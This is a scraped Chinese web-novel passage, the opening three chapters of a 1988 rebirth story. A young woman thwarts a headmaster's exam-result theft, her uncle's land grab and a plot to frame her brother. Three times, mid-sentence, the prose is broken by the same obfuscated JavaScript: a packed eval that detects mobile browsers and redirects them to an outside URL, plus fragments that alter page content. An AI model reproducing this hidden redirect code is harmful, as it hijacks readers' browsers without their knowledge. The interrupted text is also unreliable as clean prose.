《野草向南生[八零]》 1. 第 1 章 1988年7月底的旗山县,仿佛被塞进了一个密不透风的闷罐中。 怀石镇中学高三教室头顶上,三台生了锈的吊扇正发出机械的“嗡嗡”声,缓慢地搅动着沉闷空气。窗外,高大的法国梧桐树上,知了声嘶力竭地叫着,一声高过一声,叫得人心烦意乱。 裴文莹坐在教室倒数第二排的角落里,手里握着一支2B铅笔,目光长久地停留在桌面上那张薄薄的《高考志愿填报表》上。 十分钟前,班主任老李刚刚把这张决定人生命运的表格发下来。因为今年实行的是“先填志愿后出分”的政策,教室里充斥着压抑的叹息和窃窃私语。对于旗山县这种穷乡僻壤的农家子弟来说,这张纸太重了,填错一个学校,往往意味着一辈子都要在泥土里打滚,再也翻不了身。 裴文莹没有和任何人交谈。 她安静地坐着,额前的碎发被汗水洇湿,又被她随便地拨在耳后。 她的目光越过前排同学的肩膀,平静地落在了站在讲台旁边的吴校长身上。吴校长今天特意穿了一件挺括的白衬衫,胸前的口袋里整齐地别着两支钢笔,正背着手在过道里巡视。他总是挂着一副和蔼可亲的教育工作者面孔,只是那目光,总是有意无意地往裴文莹这边瞟。 裴文莹知道他在看什么,也知道他在等什么。 前世,也是在这个闷热的下午。十八岁的裴文莹满怀着对未来的憧憬,用微微发抖的手,在第一志愿那栏郑重地填下了“Z大学”。她以为那是她走出怀石镇、摆脱贫困的通天大道。 可结果呢?录取通知书犹如石沉大海,她成了一个落榜生。 在全村人的惋惜和长辈的叹息中,她只能背上编织袋,坐上了南下广东的绿皮火车,成了一名流水线上的打工妹。 直到很久以后她才知道,自己那高达625分的高考成绩,和那封通往名牌大学的录取通知书,早就被眼前这位平时对她嘘寒问暖的吴校长,连同派出所的熟人一起偷天换日,给了他那个连大专线都没过的心肝女儿——吴彩霞。 吴彩霞顶着“裴文莹”的名字,去了繁华的大城市,端上了安稳的铁饭碗;而真正的裴文莹,却在南方的潮湿和工厂的劳作中,耗尽了青春与健康。 重活一回,坐在同样的教室里,看着同样的人,裴文莹心里却没有觉得愤怒欲狂。经历了前世几十年的沧桑与泥泞,那些尖锐的仇恨早就在生活的砂纸下被打磨成了沉甸甸的钝痛。她看着吴校长那张微微出汗的脸,心里只有一种深沉的悲凉。 在这个信息闭塞、权力犹如土皇帝般的八十年代小县城,她一个父母双亡、无权无势的农家女,拿什么去跟一个校长碰硬? 她没有证据,即便现在站起来大喊大叫,也只会被人当成受了刺激的疯子,甚至连这张志愿表都走不出县教育局的档案室。 鸡蛋碰石头,碎的永远是鸡蛋。 裴文莹在南方打工的那些年里,咽下过无数委屈,学会的最深刻的一个道理就是:在没有足够的力量之前,先护住自己的命。 她低下头,没有丝毫犹豫,在第一志愿的格子里,清清楚楚地填下了黔西南一个卫校的代码。 接着,她把所有的“服从调剂”全部重重地划掉。 那是一个在云贵高原深处、连火车都要倒三趟、毕业后只能分配到偏远山区给山民看病的底层专科。条件艰苦,出路黯淡。 她不是为了报复吴彩霞,而是为了自保。她太了解吴校长了,这位父亲费尽心机偷换人生,是为了让女儿去大城市享福,去过人上人的日子。如果她填了这么一个穷乡僻壤的卫校,吴校长就是再眼馋她的高分,也绝舍不得让娇滴滴的女儿去山沟吃那份苦。 断了别人的非分之想,也就给自己留了条活路。 “文莹啊,填好了吗?” 一股淡淡的烟草味夹杂着汗味飘了过来。不知何时,吴校长已经走到了她的桌边。他看似关切地笑着,伸手扶了扶鼻梁上的眼镜,目光却迅速而精准地扫过了裴文莹桌面上的志愿表。 当看清“XX卫校”几个字时,吴校长的表情明显僵了一下,嘴角的笑容有些挂不住了,连扶着桌沿的手指都下意识地收紧了些。 “这……文莹啊,你平时成绩那么好,历次摸底考试都是县里的尖子,怎么填了这么个偏远的地方?”吴校长的声音有些发紧,像是不甘心,又像是试图挽回什么。 裴文莹抬起头,那双黑白分明的眼睛温和而平静地看着吴校长。那眼神里没有十八岁女孩面对师长时的怯懦,只有一种看透世事的淡然。 “吴校长,”裴文莹的声音不高,透着一丝哀伤与疲惫,“我爸刚走,家里没钱供我上大城市的学校。学医好,XX这种地方学费低,听说还有补贴。毕业了能直接端上饭碗,好歹能帮衬家里。我不敢赌那些好大学,这个最稳妥。” 吴校长被她看得心里莫名一顿。不知为何,他总觉得眼前这个往日里文静柔弱的农家女孩,几句话就把他所有准备好的劝说给堵死了。他干笑了几声,掩饰住眼底的失落与几分恼怒:“稳妥……稳妥也好。穷人的孩子早当家嘛,你是个懂事的孩子。” 说罢,他背着手,快步走开了。步履间,少了几分来时的气定神闲,多了一丝气急败坏。 裴文莹收回目光,看着志愿表上墨迹未干的字迹。一阵闷热的夏风从窗外吹进来,将志愿表的边角吹得微微卷起。 在这股带着暑气的闷风中,裴文莹似乎又闻到了那股刺鼻的劣质线香和中药渣混合的苦味。那是前些日子,父亲走的时候,家里弥漫的味道。 她的思绪,不可抑制地被拉回到了三周前。那个她刚刚在病床闭上眼,却又在老家堂屋的哭嚎声中猛然睁开眼的下午。 三周前。怀石镇,裴家老宅。 裴文莹是在一阵嘶哑的哭声中醒来的。 她睁开眼,看到的不是病房惨白的天花板,也不是南方喧嚣的工厂,而是老家堂屋那长满了青苔的砖墙。堂屋正中央,用两条长凳架着一块门板,门板上躺着一个人,脸上蒙着白麻布。 十二岁的小弟裴文韬正跪在门板前,哭得满脸是泪,双手死死地抓着门板的边缘,嗓音都已经劈了:“爸——爸你回来啊——” 裴文莹如遭雷击,脑子里“嗡”的一声。她颤抖着双手,摸了摸自己的脸颊。没有岁月的皱纹,没有常年劳作留下的粗糙。她低头,看到了自己身上穿着的粗麻孝服,闻到了空气中浓重的哀伤。 一九八八年,夏天。父亲病逝的这一天。 她竟然真的回到了这一切刚刚开始的时候,回到了这个家分崩离析的边缘。 父亲缠绵病榻大半年,耗尽了家里最后一点积蓄,到底还是没熬过去。巨大的悲痛混合着重生的错愕,让裴文莹的眼泪瞬间夺眶而出。她跌跌撞撞地扑到门板前,和弟弟抱在一起,泣不成声。 就在姐弟俩哭得几乎要昏厥过去时,院子里传来了一阵嘈杂的脚步声。 大伯带着大伯娘跨过了裴家高高的门槛,身后还跟着几个本家的长辈。他们甚至没有在门板前多看一眼那具刚刚冷却的遗体,便将带着泥土的鞋底踩在了堂屋的青砖地上。 “嚎什么嚎!人死如灯灭,哭能把人哭活吗?”大伯娘尖着嗓子,一把拉开跪在地上的裴文韬,眼神在屋里四处打量着,像是在估量着这家徒四壁的宅子还能挑出几件值钱的物件。 大伯清了清嗓子,拿出一副长辈的做派,声音大得足够让外头看热闹的邻居都听见:“文莹啊,你爸这病拖了半年,到底还是没留住,这是命。现在家里连个成年顶门立户的男人都没有,你大哥在外头当学徒还没回来,你和小韬都还是半大孩子,日子怎么过啊?” 他顿了顿,语气变得理所当然,甚至带上了一丝施舍的意味:“按咱们村的老规矩,绝户头的房子和地,得交还给本家族里统一管。你一个女娃子,早晚要嫁人,小韬又还在上学。这几亩水田和这间红砖房,大伯就做主先替你们收着了,免得荒废了。等将来小涛长大了,成家立业了,大伯再还给他。” 听着这冠冕堂皇的言辞,裴文莹在火盆前慢慢地站了起来。 前世,也是这样的场景。她当时吓得六神无主,只会跟着弟弟一起哭,任由大伯以“代管”的名义,将家里仅剩的一点口粮和父亲留下来的农具搜刮一空,导致后来的日子过得举步维艰。 但现在的裴文莹,已经在底层社会摸爬滚打了大半辈子。她太清楚这套说辞背后的贪婪,也太清楚软弱只会换来更深的压榨。 她没有大喊大叫,也没有上前撕扯。她只是弯下腰,用随手捡起的一根木棍,轻轻拨了拨火盆里快要熄灭的纸钱,让火苗重新舔舐着黄纸,冒出几缕青烟。 然后,她抬起头,静静地看着大伯。 “大伯,”裴文莹的声音不高,在略显空荡的堂屋里显得有些沙哑,却异常平稳,“我爸尸骨未寒,还没下葬,你就急着来接手房子和地。传出去,村里人该怎么议论咱们老裴家?说大伯欺负三个孤儿?” 大伯眉头一皱,脸一沉:“怎么跟你大伯说话的?没大没小!我这是在替你爸管家,怕你们几个孩子不知轻重,把家底败光了!” “管家就不劳您费心了。”裴文莹放下木棍,往前走了一步。她看着大伯的眼睛,用一种极轻、却只有他们两人能听懂的语气说道:“大伯,三年前,村大队买化肥的那八百块钱公款,是怎么平的账,我爸生前记在一个黑皮本子上。那本子,现在就压在我的枕头底下。” 大伯的瞳孔猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795240|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一缩,脸上的肌肉不自然地抽搐了一下。他死死地盯着裴文莹,仿佛不认识这个平时总是低着头、连大声说话都不敢的侄女。 那个黑皮本子是他心底最深处的刺。在八十年代末,贪污八百块集体公款可不是小事,一旦被查实,那是要去吃牢饭的。 “你……你胡说什么!”大伯色厉内荏地压低了声音,但原本盛气凌人的架势已经卸了大半,眼神开始有些躲闪。 “是不是胡说,大伯心里有数,这事真要说清楚,对谁都不好。”裴文莹的眼神平静得像一潭死水,透着一种不可动摇的坚韧,“房子和地,姓裴。我大哥明天就回,我弟还要考大学。这个家,有我和大哥撑着,塌不了。大伯要是念着兄弟情分,留下来帮忙发丧,文莹给您磕头;要是还有别的想法,那咱们就只能去镇上找人评评理了。” 大伯的胸膛剧烈地起伏着,他看着眼前这个看似柔弱的侄女,突然感到一阵由内而外的发虚。他明白,这丫头不是在开玩笑,只要他今天敢动这房子一砖一瓦,那个要命的本子就可能真的被交上去。 “好……好你个裴文莹。”大伯咬着牙,强撑着最后的面子,转身对还在东张西望的钱淑芬低吼了一声:“走!狗咬吕洞宾,不识好人心。我看你们这几个毛孩子,没我帮忙,怎么把这丧事办下去!” 大伯一家拂袖而去,连带着那几个本家亲戚也面面相觑地跟了出去。 人群散去后,堂屋里又恢复了死寂。只剩下火盆里纸钱燃烧的轻微“劈啪”声,和空气中挥之不去的药苦味。 裴文韬还跪在门板旁边,眼睛哭肿。他抽噎着看着姐姐,有些害怕,又有些茫然失措。在这个12岁的少年眼里,父亲去世,天已经塌了。 前世,就是这个聪明敏感的弟弟,因为父亲去世、家里穷困,早早辍学在社会上游荡,最后走上了弯路,一辈子没过上几天舒坦日子。 裴文莹觉得鼻腔发酸。她走过去,缓缓蹲在弟弟面前,用手胡乱给他擦眼泪。 “姐……”裴文韬扑到她怀里,压抑地哭出了声,“爸没了,大伯还要赶我们走,我们以后可怎么活啊?” 裴文莹紧紧地搂着弟弟单薄的肩膀,感受着他身体的颤抖。她的眼泪也终于忍不住滑落下来,滴在弟弟的衣领上。但她没有让自己哭太久。 “小弟,”裴文莹轻轻拍着他的后背,声音放得很柔,却透着一股不容置疑的力量,“爸没了,以后咱们兄妹三个相依为命。你记住,遇到事,眼泪是最没用的东西。别人只会看你的笑话,不会真心同情你。” 裴文韬抬起头,泪眼朦胧地看着姐姐。 “大哥去外头学修理了,他有一门手艺。我过完这个夏天,也会去南边打工。”裴文莹捧着弟弟瘦削的脸颊,一字一句地说,“这个家,我和大哥会撑起来,不会让任何人看扁咱们。但你,必须给我争气。” “姐,我不上学了!”裴文韬急忙摇头,眼神倔强,“我也去打工,我力气大,我能干活挣钱,我不想拖累你们!” “不行!”裴文莹按住他的肩膀,语气变得严厉起来,但眼底却全是心疼,“你还小,读书是你唯一的出路。你知道外头打工有多苦吗?没日没夜地干活,连个囫囵觉都睡不好,生病了都不敢花钱看医生。我和大哥吃苦,就是为了供你读书,为了让你以后能挺直腰板做人!” 她深吸了一口气,放缓了语气,像是在嘱托一件重若千钧的事:“你必须好好考,考上县一中,考上好大学。要是你敢动辍学的念头,对不起我和大哥的血汗钱,也对不起爸在天之灵,听见没有?” 看着姐姐严厉的目光,裴文韬似懂非懂地点了点头。 “叮铃铃——” 一阵刺耳的下课铃声,将裴文莹的思绪再次拉回了现实。 1988年夏天的教室里,同学们如释重负地长舒一口气,纷纷站起来交志愿表。椅子拖动地面的摩擦声,和走廊里逐渐鼎沸的喧哗声混成一片。 裴文莹站起身,拿起那张填着“XX卫校”的表格,走向讲台,将它平平整整地放在了那一摞志愿表的最上面。 交表的那一刻,她没有再回头看吴校长。 走出教学楼,外面的阳光依旧毒辣,刺得人睁不开眼。校园里的梧桐树枝繁叶茂,几只鸟雀扑腾着翅膀飞向远方蔚蓝的天空。 裴文莹深深地吸了口气。她知道,这一世,即便避开了被彻底偷走人生的伤害,她依然无法在这个闭塞的县城里获得体面的生活。贫穷的家底、弟弟未来的学费,依然是落在她肩头沉甸甸的担子。 她还是会南下,去那片充满机遇、汗水与泥泞的土地。但这一次,她不再是被命运裹挟的流水线女工。她是一个清醒的跋涉者。她知道南方哪里有黄金,哪里有陷阱。 2. 第 2 章 盛夏的午后,阳光毒辣得能把地皮烤化。知了在树阴里拼了命地嘶叫,空气里没有一丝风,闷热得像是在下开水。 裴家老宅的院子里,丧事已办完,从外地回来的裴文龙正蹲在水井边,光着膀子,用冰凉的井水用力搓洗着身上的机油印子。他洗得很仔细,连指甲缝里的黑泥都用旧牙刷一点点剔干净。 洗完后,他擦干身子,快步走进屋,从樟木箱底翻出一件洗得发白但熨帖得没有一丝褶皱的“的确良”白衬衫,小心翼翼地套在身上。接着,他又换上了一条藏蓝色的长裤,甚至破天荒地在胸前的口袋里插了一支英雄牌钢笔。 这身行头,是他师傅周群雄定下的规矩。 周群雄是镇上有名的能人,走南闯北,靠着一手修理打字机的绝活,赚得盆满钵满。他收徒弟的第一堂课不是摸机器,而是教他们怎么穿衣打扮:“佛要金装,人要衣装。咱们虽然是修机器的,但出入的都是县政府、文化馆、大国营厂。你穿得像个泥腿子,人家就不拿正眼看你;你穿上白衬衫、中山装,口袋里别上钢笔,人家就当你是个知识分子、技术员。世上的人,都是先敬衣裳后敬人。” 裴文龙对师傅的话深信不疑。他刚刚跟着师傅学了两个月,正憋着一股劲想要出师。今天下午,县文化馆有一台打字机坏了,师傅点名让他跟着去打下手,这对他来说,是难得的露脸机会。 他正对着缺了一角的镜子扣领扣,裴文莹端着一盆洗好的衣服从后院走了进来。 “哥,你打扮得这么整齐,要去哪儿?”裴文莹放下木盆,目光落在他那件白衬衫上,眼神微微一凝。 “去师傅家。”裴文龙一边整理着袖口,一边有些兴奋地说,“师傅说县文化馆的打字机卡键了,让我带上工具箱跟他一起去看看。” 听到“县文化馆”四个字,裴文莹的心脏猛地收缩了一下,一股寒意升上来。 前世的记忆如同潮水般涌来。 就是在这个闷热的下午,也是去县文化馆修打字机。大哥这一去,不仅没学到手艺,反而掉进了一个万劫不复的深渊。 大伯娘钱淑芬的娘家有个侄女叫蔡蓝,长得倒是有几分姿色,刚刚在文化馆当了打字员。可蔡蓝有个连娘家人都死死瞒着的秘密——她有严重的羊癫疯(癫痫)。发作起来口吐白沫,六亲不认。这种病在农村人眼里,是会遗传的病,根本嫁不出去。 钱淑芬收了娘家表哥的好处,把主意打到了老实本分、长相周正又跟着师傅学了一门赚钱手艺的裴文龙身上。 前世的今天,钱淑芬安排蔡蓝在打字室里等着。等大哥一个人进去修机器的时候,蔡蓝突然抱住他,撕扯自己的衣服,大喊“抓流氓”。 在那个八十年代末,正值“严打”的尾声。“流氓罪”是一项重罪。钱淑芬带着人恰好“捉奸在床”,面对百口莫辩的裴文龙,她和娘家人给出了两个选择:要么去派出所报案判刑,要么赶紧领证结婚,保全蔡蓝的名声。 为了不坐牢,为了不连累弟弟妹妹的名声,老实的大哥咬着牙认了栽,娶了蔡蓝。 可婚后不到一个星期,蔡蓝的羊癫疯就发作了。从那以后,大哥的人生就成了一场永远醒不过来的噩梦。文化馆辞退了蔡蓝,大哥不敢出远门打工,只能在镇上打点零工,赚的每一分钱都填进了给蔡蓝看病的无底洞。直到裴文莹死,大哥依然像一头被蒙住眼睛的驴,在绝望的磨盘上一圈圈地挨着日子。 想到这里,裴文莹的眼神冷了下来。她看着毫无察觉、还在仔细抚平衣角的哥哥,上前一步,挡在了门口。 “哥,你下午不能去。”裴文莹的声音很轻,却带着不容商量的口吻。 裴文龙愣了一下:“咋了?师傅还等着我呢,这可是正经活儿。” “刚才小舅托人带了口信,说他那边的几亩黄豆熟透了,得赶紧收。这两天天气闷,看样子要下暴雨,要是豆子烂在地里,小舅家今年就没指望了。”裴文莹脸不红心不跳地扯了个谎,“我已经答应人家了,咱们得赶紧过去帮忙。修机器的事,你跟师傅请个假吧。” 裴文龙皱起了眉头,脸上露出了为难的神色。一边是难得的学习机会和严厉的师傅,另一边是常年身体不好、日子过得紧巴巴却总是尽量接济他们的小舅。他是个重情义的人,知道小舅家的难处。 就在他犹豫不决的时候,院子的大门“吱呀”一声被推开了。 大堂哥裴文兵趿拉着一双塑料凉鞋,嘴里叼着一根狗尾巴草,晃晃悠悠地走了进来。 “哟,文龙,打扮得跟个新郎官似的,相亲去啊?”裴文兵一进门就阴阳怪气地调侃,眼神里却透着一股掩饰不住的算计和油滑。 裴文兵是大伯的独生子,从小被娇惯得不成样子。眼看着裴文龙跟着周群雄学修打字机,一天能赚大几十块钱,他眼红得滴血。他也想学,但周群雄收徒弟规矩严,得交三百块钱的拜师费,还要八十斤全国粮票。裴文兵既不想掏钱,又吃不了苦,就天天在周群雄家附近转悠,想逮着机会白蹭点手艺。 “大堂哥。”裴文莹转过身,看着这个前世跟着大伯一家瓜分了自己家产的男人,眼神里没有一丝温度,声音却异常平和,“我哥正发愁呢。小舅家急着收黄豆,我哥得去帮忙,可周师傅那边又要他去县文化馆修打字机,这正两头为难呢。” 裴文兵一听“县文化馆修打字机”,眼睛瞬间亮得像通了电的灯泡。他吐掉嘴里的狗尾巴草,几步跨上台阶,一把揽住裴文龙的肩膀。 “哎呀,这有啥难的!文龙,你去帮你舅舅收豆子。文化馆那边,我去替你给周师傅打下手!”裴文兵拍着胸脯,脸上的横肉笑得挤在了一起,“自家兄弟,客气啥!” 裴文龙皱了皱眉,有些嫌弃地拂开他的手:“你去?修打字机那是精细活儿,里头的零件比针尖大不了多少。你连螺丝刀都没摸过,你去能干啥?要是给师傅添了乱,我可担待不起。” “看你说的!”裴文兵不乐意了,“我不就是去帮着拎个工具箱,递把钳子嘛!周师傅指东,我绝不往西。再说了,我脑子不比你笨,看看就会了。你就安心去收你的黄豆,这跑腿的活儿交给我了!” 裴文龙还想拒绝,裴文莹却在背后轻轻拉了一下他的衣角。 “哥,既然大堂哥愿意帮忙,你就让他去吧。小舅那边的天可等不得人。”裴文莹看着裴文兵,嘴角勾起一抹若有似无的弧度,那是一个猎人看到猎物主动踩进陷阱时的眼神,“大堂哥聪明,拎个工具箱总不会出错的。” 裴文兵被这声夸奖捧得有些飘飘然,他生怕裴文龙反悔,连声说:“就是就是,文莹说得对!我这就去找周师傅,你们赶紧去下地吧!” 说完,他一溜烟地跑出了院子,生怕跑慢了这天上掉下来的馅饼就没了。 看着裴文兵迫不及待离去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795241|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 背影,裴文莹的眼神闪烁。 天堂有路你不走,地狱无门你偏来投。大伯娘,你费尽心机挖的坑,就让你自己的宝贝儿子去填吧。 “文莹,他真能行吗?”裴文龙还是有些不放心。 “行不行的,去了就知道了。”裴文莹收敛了神色,转身去屋里拿草帽,“哥,换身破衣服,叫上小韬,咱们去小舅家。” 小舅家住在隔壁的白石镇,离怀石镇有七八里地。 姐弟三人顶着大太阳,沿着坑坑洼洼的土路走了一个多小时才到。 小舅家是一座稍显破旧的砖房,院墙是用土坯垒的。他们刚走到门口,院里那条小黑狗就叫唤了起来。 听到狗叫声,小舅从堂屋里迎了出来。他穿着一件打了补丁的短褂,身子单薄,脸色苍白。 “文龙,文莹,小韬?这么大热的天,你们怎么过来了?”小舅看到他们,脸上满是惊喜,赶紧招呼他们往屋里走,又冲着后院喊,“孩儿他妈,快,外甥们来了,把井里湃着的西瓜切了!” 裴文龙有些纳闷:“小舅,你没托人带信让我们来收黄豆吗?” 小舅愣了一下,连连摆手:“没有啊,黄豆还得在长几天呢。再说了,你爸刚走没多久,家里一摊子事,我哪能这时候叫你们来干活。谁传的闲话?” 裴文龙转头疑惑地看向妹妹。 裴文莹面不改色,自然地接过话茬:“那估计是传话的人听差了。不过既然来了,正好看看您和舅妈。” 屋子里虽然简陋,但收拾得很干净。舅妈端着几块切好的西瓜出来,热情地塞到他们手里。 小舅拉着裴文龙,细细地问了父亲走后大伯家有没有再来闹事。听到裴文莹已经把大伯顶了回去,小舅长长地叹了口气,干枯的手抹了一把脸。 “都是舅舅没用。我这身子骨,常年泡在药罐子里,家里全靠你舅妈一个人撑着。你们遇到难处,我这个当长辈的,连个头都出不了……”小舅的声音里透着深深的自责和心酸。 “小舅,你别这么说。以前家里揭不开锅的时候,哪次不是你接济我们。”裴文龙赶紧握住小舅的手安慰道。 趁着大哥和小舅说话的功夫,裴文莹拿着一块西瓜,走到了一直坐在门槛上发呆的弟弟裴文韬身边。 “怎么了?考上县一中还不高兴?”裴文莹挨着他坐下。 裴文韬抬起头,眼眶红红的。他咬了咬嘴唇,声音细若蚊蝇:“姐,我不想去县城寄宿。” “为什么?” “我怕……”裴文韬低下头,手指无意识地抠着门槛上的木刺,“我打听了,县一中的学费一学期就要好几十,还要交寄宿费、伙食费。咱家现在就剩大哥一个人赚钱,大伯又在旁边盯着咱们。我……我不想给家里添负担。我就在镇上的怀石中学上,也能考大学。或者,我干脆跟大哥一样,去学个手艺……” 在农村,太懂事的孩子,往往要吃更多的苦。 她嗔怒地拍了他一下:“胡思乱想什么?怀石中学是不用交多少钱,但那里的老师好些连高中都没毕业,你怎么学?钱的事,轮不到你一个半大孩子来操心。” “可是姐……” “没有可是。”裴文莹打断了他,“爸走的时候,最放心不下的就是你。我和大哥供得起你。你好好读书,别的什么都别想。” 裴文韬眼里的泪水终于忍不住夺眶而出。 3. 第 3 章 文化馆是一栋有些年头的红砖二层小楼。外面烈日炎炎,走廊里却因为背阴而显得有些阴凉。 周群雄站在走廊尽头的通风口,皱着眉头,手里夹着一根烟,来回踱步。他烟瘾大,但文化馆里有规定,办公区域严禁吸烟。他实在憋不住了,只能躲在这里抽几口。 他转头看了看跟在一旁、东张西望的裴文兵,心里多少有些不痛快。徒弟裴文龙说家里有急事来不了,托了这个堂哥来帮忙。这裴文兵一看就是个眼高手低的主,但人都来了,周群雄也不好赶回去。 “文兵,”周群雄吐出一口烟圈,不耐烦地指了指走廊中间的一扇虚掩的门,“你把工具箱先送到那间打字室去。我在外面抽完这根烟就进去,你在里面老实等着,别乱动人家的东西。” “好嘞,师傅您慢慢抽,我进去等您!”裴文兵喜笑颜开,拎着那个沉甸甸的工具箱,大摇大摆地朝打字室走去。 打字室里光线有些暗。厚重的窗帘拉上了一半,只有一台老式的吊扇在头顶发出无力的吱呀声。 蔡蓝穿着一件碎花连衣裙,坐在靠墙的椅子上。她的脸色有些苍白,双手紧紧地绞着裙摆,掌心里全是汗。 她虽然脑子不算太灵光,但也知道今天表姑钱淑芬要她干什么。她心里害怕,但表姑说了,只要今天按照计划办,那个叫裴文龙的帅小伙就会娶她。那是个老实人,还能赚钱,以后就能养着她,再也不怕被人嫌弃了。 “门一响,人一进来,你就扑上去,死死抱住他,撕衣服,大声喊救命,剩下的交给我。”表姑的话在她脑子里一遍遍地回放。 就在这时,走廊里传来了脚步声。 “吱呀——” 打字室的门被推开了,一个高大的人影拎着个箱子走了进来。逆着走廊的光,蔡蓝看不清来人的脸,只知道这是个男人。 表姑说,修打字机的只有裴文龙一个人进来。 蔡蓝的心脏狂跳,她猛地从长椅上站了起来,像一只受到惊吓的猫,不顾一切地朝着那个黑影扑了过去。 裴文兵刚踏进门,还没来得及看清屋里的摆设,突然一团软玉温香就带着一股雪花膏香味撞进了怀里。他甚至还没反应过来,一双手就死死地搂住了他的脖子。 “哎哟!这……这是干啥?”裴文兵被这突如其来的“艳福”砸得晕头转向,手一松,沉重的工具箱“砰”的一声砸在了水磨石地板上。 还没等他那句调戏的话说出口,怀里的女人突然像疯了一样扯开了自己的衣领,紧接着,一声尖锐刺耳、几乎能穿透耳膜的尖叫声在打字室里炸响: “救命啊!抓流氓啊!有人耍流氓啊——” 这声音凄厉无比,瞬间穿透了文化馆宁静的午后。 走廊尽头的周群雄吓得手一抖,烟头直接烫在了手指上。 与此同时,一直躲在楼梯拐角处等候多时的钱淑芬,听到这声暗号,脸上露出了喜色。她猛地窜了出来,扯着嗓子大喊: “快来人啊!出事了!有畜生欺负我侄女啊!” 她带着几个早就安排好的娘家亲戚,气势汹汹地踹开了打字室的门。走廊里的办事员、领导也被惊动,纷纷围拢过来。 钱淑芬冲在最前面,看着昏暗的房间里抱作一团的两个人,想都没想,冲上去就对着男人的后背又抓又打,嘴里骂得极度恶毒: “裴文龙你这个千刀万剐的畜生!我打死你!你今天毁了我侄女的清白,你不娶她,老娘让你把牢底坐穿!” 被打得晕头转向的男人拼命挣脱了蔡蓝的拉扯,转过头,借着门外照进来的光,露出了那张因为恐惧而扭曲的脸。 “妈……妈!你打我干啥啊!我没有啊!” 钱淑芬扬在半空中的手,瞬间僵住了。 她死死地盯着眼前这张脸,眼珠子几乎要瞪出眼眶。那一瞬间,她感觉浑身的血液都倒流了,脑子里“轰”的一声,一片空白。 不是裴文龙。 是她那个被她视若珍宝、已经结了婚连儿子都有了的亲生儿子——裴文兵。 而此时,一直死死抱错人的蔡蓝也终于看清了眼前人的脸。发现根本不是表姑给她看过照片的那个清秀小伙子,而是一个满脸油汗、神情猥琐的男人。 巨大的惊恐和刺激瞬间击溃了她本就脆弱的神经。 蔡蓝的喉咙里发出一声诡异的“咯咯”声,眼睛猛地往上一翻,身体像触电般僵硬笔直,随后重重地倒在地上,四肢开始不受控制地剧烈抽搐,大口大口的白沫从她嘴里涌了出来。 “羊癫疯!这女的有羊癫疯!”人群中不知道谁惊恐地喊了一声。 狭小的打字室里,一片混乱。 钱淑芬双腿一软,瘫坐在地上。 就在这时,一阵急促而尖锐的警笛声,从文化馆的大门外由远及近,呼啸而来。 警车停好后,两个公-安下车,大步流星地跨进了走廊。 打字室里,蔡蓝还在地上无意识地抽搐着,裴文兵像一滩烂泥一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795242|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 样瘫软在墙角。当看到那锃亮的手铐时,他终于从极度的惊吓中回过神来,杀猪般地嚎叫起来:“同志!我冤枉啊!我没耍流氓!是她自己扑上来的!我连碰都没碰她啊!” 在那个“严打”余威犹在的一九八八年,“流氓罪”这三个字,就像悬在所有老百姓头顶的一把利剑。大街上多看大姑娘几眼都有可能被挂上破鞋游街,更别提在这种密闭的办公室里,女方衣衫不整地大喊救命。这要是定性了,最轻是十年大牢。 带队的公-安根本不听他辩解,这种事他们见得多了。两人走上前,像老鹰抓小鸡一样,反扭住裴文兵的胳膊,“咔嚓”一声,冰冷的手铐死死地扣在了他的手腕上。 “冤不冤枉,回派出所说去!带走!” “妈!妈你救我啊!我不想去派出所!妈——”裴文兵被拖着往外走,两条腿软得像面条,鞋都拖掉了一只。他拼命地回头,朝着瘫坐在地上的钱淑芬哭喊。 钱淑芬此时才如梦初醒。她看着儿子被戴上手铐,疯了一样从地上爬起来,扑上去死死抱住公-安的大腿,连连磕头:“同志,误会!都是误会啊!这是我亲儿子,地上那个是我亲侄女,他们……他们处对象闹着玩呢!没耍流氓啊!” “处对象闹着玩?”带队的公-安冷笑了一声,指着地上已经开始翻白眼、嘴唇发紫的蔡蓝,“处对象能把人逼成这样?再妨碍公务,连你一起带走!松手!” 钱淑芬被掀翻在地上,额头重重地磕在门框上,蹭掉了一大块油皮,渗出殷红的血丝。 她顾不上疼,眼睁睁地看着自己从小娇生惯养、连句重话都舍不得骂的宝贝儿子,被塞进了警车。警笛声再次响起,绝尘而去。 站在外围的周群雄冷眼看着这一切。他伸手掐灭了烟头,转身对旁边看热闹的办事员说:“同志,这事跟我可没关系。我是被叫来修打字机的,这小子非要进去看热闹,谁知道他手脚不干净。” 三言两语,周群雄把自己摘得干干净净。他背起工具箱,头也不回地走出了文化馆。走在烈日下,周群雄回想起刚才钱淑芬冲进去时喊的那句“裴文龙你这个畜生”,后脊梁骨不由得渗出一层冷汗。 